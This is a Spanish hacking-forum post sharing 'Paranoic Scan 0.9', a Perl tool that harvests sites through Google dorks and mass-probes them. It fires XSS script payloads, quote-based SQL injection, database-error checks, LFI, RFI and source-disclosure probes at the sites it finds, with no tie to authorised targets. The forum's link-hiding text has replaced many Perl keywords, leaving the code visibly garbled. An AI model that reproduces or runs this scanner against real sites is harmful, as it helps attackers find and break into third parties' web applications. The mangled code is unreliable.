comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[Perl] Paranoic Scan 0.9

  • 0 Respuestas
  • 1284 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado BigBear

  • *
  • Underc0der
  • Mensajes: 543
  • Actividad:
    0%
  • Reputación 3
    • Ver Perfil
« en: Julio 03, 2011, 10:06:11 pm »
La misma herramienta de siempre pero le agregue dos cosas nuevas

  • XSS POST & GET
  • SQL POST & GET
Código: Perl
  1. #!usr/bin/perl
  2. #Paranoic Scan 0.9 Updated
  3. #(c)0ded by Doddy H 2010
  4. #
  5. #Search in google with a dork
  6. #Scan type :
  7. #
  8. #XSS
  9. #Full Source Discloure
  10. #LFI
  11. #RFI
  12. #SQL GET & POST
  13. #MSSQL
  14. #Oracle
  15. #Jet Database
  16. #Find HTTP Options y Server nAME
  17. #
  18. #
  19.  
  20. use LWP::UserAgent;
  21. use HTML::LinkExtor;
  22. use HTML::Form;
  23. use URI::Split No tienes permisos para ver links. Registrate o Entra con tu cuenta(uri_split);
  24. use IO::Socket;
  25.  
  26. my $nave = LWP::UserAgent->new;
  27. $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
  28. $nave->timeout(5);
  29.  
  30. installer();
  31.  
  32. sta();
  33.  
  34. sub sta {
  35. sub head {
  36. No tienes permisos para ver links. Registrate o Entra con tu cuenta 'cls';
  37. No tienes permisos para ver links. Registrate o Entra con tu cuenta No tienes permisos para ver links. Registrate o Entra con tu cuenta(
  38.  
  39.  
  40. @@@@@   @   @@@@     @   @@  @@@  @@@   @@@  @@@@     @@@   @@@@    @   @@  @@@
  41.  @  @   @    @  @    @    @@  @  @   @   @  @   @    @  @  @   @    @    @@  @
  42.  @  @  @ @   @  @   @ @   @@  @ @     @  @ @         @    @        @ @   @@  @
  43.  @@@   @ @   @@@    @ @   @ @ @ @     @  @ @          @@  @        @ @   @ @ @
  44.  @    @@@@@  @ @   @@@@@  @ @ @ @     @  @ @            @ @       @@@@@  @ @ @
  45.  @    @   @  @  @  @   @  @  @@  @   @   @  @   @    @  @  @   @  @   @  @  @@
  46. @@@  @@@ @@@@@@  @@@@ @@@@@@  @   @@@   @@@  @@@     @@@    @@@  @@@ @@@@@@  @
  47.  
  48.  
  49.  
  50.  
  51. );
  52. }
  53. &menu;
  54. sub menu {
  55. &head;
  56. No tienes permisos para ver links. Registrate o Entra con tu cuenta "[a] : Scan a File\n";
  57. No tienes permisos para ver links. Registrate o Entra con tu cuenta "[b] : Search in google and scan the webs\n\n";
  58. No tienes permisos para ver links. Registrate o Entra con tu cuenta "[option] : ";
  59. No tienes permisos para ver links. Registrate o Entra con tu cuenta(my $op = <STDIN>);
  60. if ($op =~/a/ig) {
  61. No tienes permisos para ver links. Registrate o Entra con tu cuenta "\n[+] Wordlist : ";
  62. No tienes permisos para ver links. Registrate o Entra con tu cuenta(my $word = <STDIN>);
  63. my @paginas = repes(cortar(savewords($word)));
  64. my $option = &men;
  65. No tienes permisos para ver links. Registrate o Entra con tu cuenta "\n\n[+] Opening File\n";
  66. scan($option,@paginas);
  67. }
  68. elsif ($op=~/b/ig) {
  69. No tienes permisos para ver links. Registrate o Entra con tu cuenta "\n[+] Dork : ";
  70. No tienes permisos para ver links. Registrate o Entra con tu cuenta(my $dork = <STDIN>);
  71. No tienes permisos para ver links. Registrate o Entra con tu cuenta "[+] Pages : ";
  72. No tienes permisos para ver links. Registrate o Entra con tu cuenta(my $pag = <STDIN>);
  73. my $option = &men;
  74. No tienes permisos para ver links. Registrate o Entra con tu cuenta "\n\n[+] Searching in google\n";
  75. my @paginas = &google($dork,$pag);     
  76. scan($option,@paginas);
  77. }
  78. else {
  79. &menu;
  80. }
  81. }
  82. sub scan {
  83. my ($option,@webs) = @_;
  84. No tienes permisos para ver links. Registrate o Entra con tu cuenta "\n\n[Status] : Scanning\n";
  85. No tienes permisos para ver links. Registrate o Entra con tu cuenta "[Webs Count] : ".No tienes permisos para ver links. Registrate o Entra con tu cuenta(@webs)."\n\n\n";
  86. for(@webs) {
  87. if ($option=~/S/ig) {
  88. scansql($_);
  89. }
  90. if ($option=~/L/ig) {
  91. lfi($_);
  92. }
  93. if ($option=~/R/ig) {
  94. rfi($_);
  95. }
  96. if ($option=~/F/ig) {
  97. fsd($_);
  98. }
  99. if ($option=~/X/ig) {
  100. scanxss($_);
  101. }
  102. if ($option=~/M/ig) {
  103. mssql($_);
  104. }
  105. if ($option=~/J/ig) {
  106. access($_);
  107. }
  108. if ($option=~/O/ig) {
  109. oracle($_);
  110. }
  111. if ($option=~/HT/ig) {
  112. http($_);
  113. }
  114. if ($option=~/A/ig) {
  115. scansql($_);
  116. scanxss($_);
  117. mssql($_);
  118. access($_);
  119. oracle($_);
  120. lfi($_);
  121. rfi($_);
  122. fsd($_);
  123. http($_);
  124. }
  125. }
  126. }
  127. No tienes permisos para ver links. Registrate o Entra con tu cuenta "\n\n[Status] : Finish\n";
  128. &finish;
  129. }
  130.          
  131. sub toma {
  132. No tienes permisos para ver links. Registrate o Entra con tu cuenta $nave->get($_[0])->content;
  133. }
  134.  
  135. sub savefile {
  136. No tienes permisos para ver links. Registrate o Entra con tu cuenta (SAVE,">>logs/".$_[0]);
  137. No tienes permisos para ver links. Registrate o Entra con tu cuenta SAVE $_[1]."\n";
  138. No tienes permisos para ver links. Registrate o Entra con tu cuenta SAVE;
  139. }
  140.  
  141. sub finish {
  142. No tienes permisos para ver links. Registrate o Entra con tu cuenta "\n\n\n(C) Doddy Hackman 2010\n\n";
  143. <STDIN>;
  144. sta();
  145. }
  146.  
  147. sub google {
  148. my($a,$b) = @_;
  149. for ($pages=10;$pages<=$b;$pages=$pages+10) {
  150. $code = toma("http://www.google.com.ar/search?hl=&q=".$a."&start=$pages");
  151. my @links = get_links($code);
  152. for my $l(@links) {
  153. if ($l =~/webcache.googleusercontent.com/) {
  154. No tienes permisos para ver links. Registrate o Entra con tu cuenta(@url,$l);
  155. }
  156. }
  157. }
  158.  
  159. for(@url) {
  160. if ($_ =~/cache:(.*?):(.*?)\+/) {
  161. No tienes permisos para ver links. Registrate o Entra con tu cuenta(@founds,$2);
  162. }
  163. }
  164.  
  165. my @founds = repes(cortar(@founds));
  166. No tienes permisos para ver links. Registrate o Entra con tu cuenta @founds;
  167. }
  168.  
  169.  
  170.  
  171. sub http {
  172.  
  173. my ($scheme, $auth, $path, $query, $frag)  = uri_split($_[0]);
  174.  
  175. my $socket = IO::Socket::INET->new(
  176. PeerAddr=>$auth,
  177. PeerPort=>"80",
  178. Proto=>"tcp");
  179.  
  180. No tienes permisos para ver links. Registrate o Entra con tu cuenta $socket "OPTIONS  / HTTP/1.0\r\n\r\n";
  181. No tienes permisos para ver links. Registrate o Entra con tu cuenta $socket,$resultado,"1000";
  182.  
  183. if ($resultado=~/Server:(.*)/g) {
  184. my $server = $1;
  185.  
  186. savefile("http-logs.txt","[+] Page : $auth"."\n");
  187. savefile("http-logs.txt","[+] Server : ".$server."\n");
  188. }
  189. if ($resultado=~/Allow: (.*)/g) {
  190. my $options = $1;
  191. savefile("http-logs.txt","[+] Options : ".$options."\n");
  192. }
  193. $socket->No tienes permisos para ver links. Registrate o Entra con tu cuenta;
  194. }
  195.  
  196. sub scanxss {
  197.  
  198. my $page = No tienes permisos para ver links. Registrate o Entra con tu cuenta;
  199. No tienes permisos para ver links. Registrate o Entra con tu cuenta $page;
  200.  
  201. my @testar = HTML::Form->parse(toma($page),"/");
  202. my @botones_names;
  203. my @botones_values;
  204. my @orden;
  205. my @pa = ("<script>alert(String.fromCharCode(101,115,116,111,121,100,101,110,117,101,118,111,101,110,101,115,116,111))</script>",'"><script>alert(String.fromCharCode(101,115,116,111,121,100,101,110,117,101,118,111,101,110,101,115,116,111))</script>');
  206. my @get_founds;
  207. my @post_founds;
  208. my @ordenuno;
  209. my @ordendos;
  210.  
  211. my $contador_forms = 0;
  212.  
  213. my $valor = "doddyhackman";
  214.  
  215. for my $test(@testar) {
  216. $contador_forms++;
  217. if ($test->method eq "POST") {
  218. my @inputs = $test->inputs;
  219. for my $in(@inputs) {
  220. if ($in->type eq "submit") {
  221. if ($in->name eq "") {
  222. No tienes permisos para ver links. Registrate o Entra con tu cuenta(@botones_names,"submit");
  223. }
  224. No tienes permisos para ver links. Registrate o Entra con tu cuenta(@botones_names,$in->name);
  225. No tienes permisos para ver links. Registrate o Entra con tu cuenta(@botones_values,$in->value);
  226. } else {
  227. No tienes permisos para ver links. Registrate o Entra con tu cuenta(@ordenuno,$in->name,$pa[0]);
  228. No tienes permisos para ver links. Registrate o Entra con tu cuenta(@ordendos,$in->name,$pa[1]);
  229. }}
  230.  
  231. for my $n(0..No tienes permisos para ver links. Registrate o Entra con tu cuenta(@botones_names)-1) {
  232. my @preuno = @ordenuno;
  233. my @predos = @ordendos;
  234. No tienes permisos para ver links. Registrate o Entra con tu cuenta(@preuno,$botones_names[$n],$botones_values[$n]);
  235. No tienes permisos para ver links. Registrate o Entra con tu cuenta(@predos,$botones_names[$n],$botones_values[$n]);
  236.  
  237. my $codeuno = $nave->post($page,\@preuno)->content;
  238. my $codedos = $nave->post($page,\@predos)->content;
  239. if ($codeuno=~/<script>alert\(String.fromCharCode\(101,115,116,111,121,100,101,110,117,101,118,111,101,110,101,115,116,111\)\)<\/script>/ig or
  240. $codedos=~/<script>alert\(String.fromCharCode\(101,115,116,111,121,100,101,110,117,101,118,111,101,110,101,115,116,111\)\)<\/script>/ig) {
  241. if ($test->attr(name) eq "" or $test->attr(name) eq " ") {
  242. No tienes permisos para ver links. Registrate o Entra con tu cuenta(@post_founds,$contador_forms);
  243. } else {
  244. No tienes permisos para ver links. Registrate o Entra con tu cuenta(@post_founds,$test->attr(name));
  245. }}}
  246. } else { #Fin de metodo POST
  247. my @inputs = $test->inputs;
  248. for my $in(@inputs) {  
  249. if ($in->type eq "submit") {
  250. if ($in->name eq "") {
  251. No tienes permisos para ver links. Registrate o Entra con tu cuenta(@botones_names,"submit");
  252. }
  253. No tienes permisos para ver links. Registrate o Entra con tu cuenta(@botones_names,$in->name);
  254. No tienes permisos para ver links. Registrate o Entra con tu cuenta(@botones_values,$in->value);
  255. } else {
  256. $orden.=''.$in->name.'='.$valor.'&';
  257. }}
  258. No tienes permisos para ver links. Registrate o Entra con tu cuenta($orden);
  259. for my $n(0..No tienes permisos para ver links. Registrate o Entra con tu cuenta(@botones_names)-1) {
  260. my $partedos = "&".$botones_names[$n]."=".$botones_values[$n];
  261. my $final = $orden.$partedos;
  262. for my $strin(@pa) {
  263. No tienes permisos para ver links. Registrate o Entra con tu cuenta $strin;
  264. $final=~No tienes permisos para ver links. Registrate o Entra con tu cuenta/doddyhackman/$strin/;
  265. $code = toma($page."?".$final);
  266. my $strin = "\Q$strin\E";
  267. if ($code=~/$strin/) {
  268. No tienes permisos para ver links. Registrate o Entra con tu cuenta(@get_founds,$page."?".$final);
  269. }}}}}
  270.  
  271. my @get_founds = repes(@get_founds);
  272. if (No tienes permisos para ver links. Registrate o Entra con tu cuenta(@get_founds) ne 0) {
  273. for(@get_founds) {
  274. savefile("xss-logs.txt","[+] XSS Found : $_");
  275. No tienes permisos para ver links. Registrate o Entra con tu cuenta "[+] XSS Found : $_\n\a";
  276. }}
  277.  
  278. my @post_founds = repes(@post_founds);
  279. if (No tienes permisos para ver links. Registrate o Entra con tu cuenta(@post_founds) ne 0) {
  280. for my $t(@post_founds) {
  281. if ($t =~/^\d+$/) {
  282. savefile("xss-logs.txt","[+] XSS : Form $t in $page");
  283. No tienes permisos para ver links. Registrate o Entra con tu cuenta "[+] XSS : Form $t in $page\n\a";
  284. }}}}
  285.  
  286.  
  287. sub scansql {
  288.  
  289. my $page = No tienes permisos para ver links. Registrate o Entra con tu cuenta;
  290. my $copia = $page;
  291.  
  292. $co = toma($page."'");
  293.  
  294. if ($co=~ /supplied argument is not a valid MySQL result resource in <b>(.*)<\/b> on line /ig || $co=~ /mysql_free_result/ig || $co =~ /mysql_fetch_assoc/ig ||$co =~ /mysql_num_rows/ig || $co =~ /mysql_fetch_array/ig || $co =~/mysql_fetch_assoc/ig || $co=~/mysql_query/ig || $co=~/mysql_free_result/ig || $co=~/equivocado en su sintax/ig || $co=~/You have an error in your SQL syntax/ig || $co=~/Call to undefined function/ig) {
  295. savefile("sql-logs.txt","[+] SQL : $page");
  296. No tienes permisos para ver links. Registrate o Entra con tu cuenta "[+] SQLI : $page\a\n";
  297. }
  298.  
  299. if ($page=~/(.*)\?(.*)/) {
  300. my $page = $1;
  301.  
  302. my @testar = HTML::Form->parse(toma($page),"/");
  303. my @botones_names;
  304. my @botones_values;
  305. my @orden;
  306. my @get_founds;
  307. my @post_founds;
  308. my @ordenuno;
  309. my @ordendos;
  310.  
  311. my $contador_forms = 0;
  312.  
  313. my $valor = "doddyhackman";
  314.  
  315. for my $test(@testar) {
  316. $contador_forms++;
  317. if ($test->method eq "POST") {
  318. my @inputs = $test->inputs;
  319. for my $in(@inputs) {
  320. if ($in->type eq "submit") {
  321. if ($in->name eq "") {
  322. No tienes permisos para ver links. Registrate o Entra con tu cuenta(@botones_names,"submit");
  323. }
  324. No tienes permisos para ver links. Registrate o Entra con tu cuenta(@botones_names,$in->name);
  325. No tienes permisos para ver links. Registrate o Entra con tu cuenta(@botones_values,$in->value);
  326. } else {
  327. No tienes permisos para ver links. Registrate o Entra con tu cuenta(@ordenuno,$in->name,"'");
  328. }}
  329.  
  330. for my $n(0..No tienes permisos para ver links. Registrate o Entra con tu cuenta(@botones_names)-1) {
  331. my @preuno = @ordenuno;
  332. No tienes permisos para ver links. Registrate o Entra con tu cuenta(@preuno,$botones_names[$n],$botones_values[$n]);
  333. my $code = $nave->post($page,\@preuno)->content;
  334. if ($code=~ /supplied argument is not a valid MySQL result resource in <b>(.*)<\/b> on line /ig || $code=~ /mysql_free_result/ig || $code =~ /mysql_fetch_assoc/ig ||$code =~ /mysql_num_rows/ig || $code =~ /mysql_fetch_array/ig || $code =~/mysql_fetch_assoc/ig || $code=~/mysql_query/ig || $code=~/mysql_free_result/ig || $code=~/equivocado en su sintax/ig || $code=~/You have an error in your SQL syntax/ig || $code=~/Call to undefined function/ig) {
  335. if ($test->attr(name) eq "" or $test->attr(name) eq " ") {
  336. No tienes permisos para ver links. Registrate o Entra con tu cuenta(@post_founds,$contador_forms);
  337. } else {
  338. No tienes permisos para ver links. Registrate o Entra con tu cuenta(@post_founds,$test->attr(name));
  339. }}}}
  340.  
  341. my @post_founds = repes(@post_founds);
  342. if (No tienes permisos para ver links. Registrate o Entra con tu cuenta(@post_founds) ne 0) {
  343. for my $t(@post_founds) {
  344. if ($t =~/^\d+$/) {
  345. savefile("sql-logs.txt","[+] SQLI : Form $t in $page");
  346. No tienes permisos para ver links. Registrate o Entra con tu cuenta "[+] SQLI : Form $t in $page\n\a";
  347. }}}}}}
  348.  
  349. sub access {
  350.  
  351. my $page = No tienes permisos para ver links. Registrate o Entra con tu cuenta;
  352. $code1 = toma($page."'");
  353. if ($code1=~/Microsoft JET Database/ig or $code1=~/ODBC Microsoft Access Driver/ig) {
  354. No tienes permisos para ver links. Registrate o Entra con tu cuenta "[+] Jet DB : $page\a\n";
  355. savefile("jetdb-logs.txt",$page);
  356. }
  357. }
  358.  
  359. sub mssql {
  360.  
  361. my $page = No tienes permisos para ver links. Registrate o Entra con tu cuenta;
  362. $code1 = toma($page."'");
  363. if ($code1=~/ODBC SQL Server Driver/ig) {
  364. No tienes permisos para ver links. Registrate o Entra con tu cuenta "[+] MSSQL : $page\a\n";
  365. savefile("mssql-logs.txt",$page);
  366. }
  367. }
  368.  
  369. sub oracle {
  370.  
  371. my $page = No tienes permisos para ver links. Registrate o Entra con tu cuenta;
  372. $code1 = toma($page."'");
  373. if ($code1=~/Microsoft OLE DB Provider for Oracle/ig) {
  374. No tienes permisos para ver links. Registrate o Entra con tu cuenta "[+] Oracle : $page\a\n";
  375. savefile("oracle-logs.txt",$page);
  376. }
  377. }
  378.  
  379. sub rfi {
  380. my $page = No tienes permisos para ver links. Registrate o Entra con tu cuenta;
  381. $code1 = toma($page."http:/www.supertangas.com/");
  382. if ($code1=~/Los mejores TANGAS de la red/ig) { #Esto es conocimiento de verdad xDDD
  383. No tienes permisos para ver links. Registrate o Entra con tu cuenta "[+] RFI : $page\a\n";
  384. savefile("rfi-logs.txt",$page);
  385. }}
  386.  
  387. sub lfi {
  388. my $page = No tienes permisos para ver links. Registrate o Entra con tu cuenta;
  389. $code1 = toma($page."'");
  390. if ($code1=~/No such file or directory in <b>(.*)<\/b> on line/ig) {
  391. No tienes permisos para ver links. Registrate o Entra con tu cuenta "[+] LFI : $page\a\n";
  392. savefile("lfi-logs.txt",$page);
  393. }}
  394.  
  395. sub fsd {
  396. my $page = No tienes permisos para ver links. Registrate o Entra con tu cuenta;
  397. my ($scheme, $auth, $path, $query, $frag)  = uri_split($page);
  398. if ($path=~/\/(.*)$/) {
  399. my $me = $1;
  400. $code1 = toma($page.$me);
  401. if ($code1=~/header\((.*)Content-Disposition: attachment;/ig) {
  402. No tienes permisos para ver links. Registrate o Entra con tu cuenta "[+] Full Source Discloure : $page\a\n";
  403. savefile("fpd-logs.txt",$page);
  404. }}}
  405.  
  406. sub repes {
  407. my @limpio;
  408. foreach $test(@_) {
  409. No tienes permisos para ver links. Registrate o Entra con tu cuenta @limpio,$test unless $repe{$test}++;
  410. }
  411. No tienes permisos para ver links. Registrate o Entra con tu cuenta @limpio;
  412. }
  413.  
  414. sub savewords {
  415. No tienes permisos para ver links. Registrate o Entra con tu cuenta (FILE,$_[0]);
  416. @words = <FILE>;
  417. No tienes permisos para ver links. Registrate o Entra con tu cuenta FILE;
  418. for(@words) {
  419. No tienes permisos para ver links. Registrate o Entra con tu cuenta(@r,$_);
  420. }      
  421. No tienes permisos para ver links. Registrate o Entra con tu cuenta(@r);
  422. }
  423.  
  424. sub men {
  425. No tienes permisos para ver links. Registrate o Entra con tu cuenta "\n\n[+] Scan Type : \n\n";
  426. No tienes permisos para ver links. Registrate o Entra con tu cuenta "[X] : XSS\n";
  427. No tienes permisos para ver links. Registrate o Entra con tu cuenta "[S] : SQL\n";
  428. No tienes permisos para ver links. Registrate o Entra con tu cuenta "[M] : MSSQL\n";
  429. No tienes permisos para ver links. Registrate o Entra con tu cuenta "[J] : Jet Database\n";
  430. No tienes permisos para ver links. Registrate o Entra con tu cuenta "[O] : Oracle\n";
  431. No tienes permisos para ver links. Registrate o Entra con tu cuenta "[L] : LFI\n";
  432. No tienes permisos para ver links. Registrate o Entra con tu cuenta "[R] : RFI\n";
  433. No tienes permisos para ver links. Registrate o Entra con tu cuenta "[F] : Full Source Discloure\n";
  434. No tienes permisos para ver links. Registrate o Entra con tu cuenta "[HT] : HTTP Information\n";
  435. No tienes permisos para ver links. Registrate o Entra con tu cuenta "[A] : All\n\n";
  436. No tienes permisos para ver links. Registrate o Entra con tu cuenta "\n[Options] : ";
  437. No tienes permisos para ver links. Registrate o Entra con tu cuenta(my $option = <STDIN>);
  438. No tienes permisos para ver links. Registrate o Entra con tu cuenta $option;
  439. }
  440.  
  441. sub cortar {
  442. my @nuevo;
  443. for(@_) {
  444. if ($_ =~/=/) {
  445. @tengo = No tienes permisos para ver links. Registrate o Entra con tu cuenta("=",$_);
  446. No tienes permisos para ver links. Registrate o Entra con tu cuenta(@nuevo,@tengo[0]."=");
  447. } else {
  448. No tienes permisos para ver links. Registrate o Entra con tu cuenta(@nuevo,$_);
  449. }}
  450. No tienes permisos para ver links. Registrate o Entra con tu cuenta @nuevo;
  451. }
  452.  
  453. sub get_links {
  454.  
  455. $test = HTML::LinkExtor->new(\&agarrar)->parse($_[0]);
  456. No tienes permisos para ver links. Registrate o Entra con tu cuenta @links;
  457.  
  458. sub agarrar {
  459. my ($a,%b) = @_;
  460. No tienes permisos para ver links. Registrate o Entra con tu cuenta(@links,No tienes permisos para ver links. Registrate o Entra con tu cuenta %b);
  461. }
  462. }
  463.  
  464.  
  465. sub installer {
  466. unless (-d "logs/") {
  467. No tienes permisos para ver links. Registrate o Entra con tu cuenta("logs/","777");
  468. }
  469. }
  470.  
  471. # ¿ The End ?
  472.  


Ejemplo de uso


Código: No tienes permisos para ver links. Registrate o Entra con tu cuenta



@@@@@   @   @@@@     @   @@  @@@  @@@   @@@  @@@@     @@@   @@@@    @   @@  @@@
 @  @   @    @  @    @    @@  @  @   @   @  @   @    @  @  @   @    @    @@  @
 @  @  @ @   @  @   @ @   @@  @ @     @  @ @         @    @        @ @   @@  @
 @@@   @ @   @@@    @ @   @ @ @ @     @  @ @          @@  @        @ @   @ @ @
 @    @@@@@  @ @   @@@@@  @ @ @ @     @  @ @            @ @       @@@@@  @ @ @
 @    @   @  @  @  @   @  @  @@  @   @   @  @   @    @  @  @   @  @   @  @  @@
@@@  @@@ @@@@@@  @@@@ @@@@@@  @   @@@   @@@  @@@     @@@    @@@  @@@ @@@@@@  @




[a] : Scan a File
[b] : Search in google and scan the webs

[option] :
« Última modificación: Julio 17, 2011, 03:40:05 am por Sthefano02 »

 

¿Te gustó el post? COMPARTILO!



Tutorial perl desde cero By: Black Poision & Painboy

Iniciado por ProcessKill

Respuestas: 2
Vistas: 3231
Último mensaje Septiembre 02, 2011, 09:43:36 pm
por blozzter
[Perl] Verificando si es root para correr un script

Iniciado por c1st

Respuestas: 1
Vistas: 1513
Último mensaje Octubre 07, 2012, 06:01:39 pm
por ANTRAX
[Perl] Half Life Servers List 0.1

Iniciado por BigBear

Respuestas: 0
Vistas: 1140
Último mensaje Noviembre 12, 2012, 07:31:50 pm
por BigBear
DoSing IP 1.0 - [Creado por SkillmaX] + Source [PERL]

Iniciado por SkillmaX

Respuestas: 0
Vistas: 1398
Último mensaje Julio 04, 2010, 10:14:31 am
por SkillmaX
[Uniscan] Scanner de vulnerabilidades WEB hecho en Perl

Iniciado por tar3kw0rm3d

Respuestas: 0
Vistas: 1664
Último mensaje Junio 02, 2013, 08:01:28 pm
por tar3kw0rm3d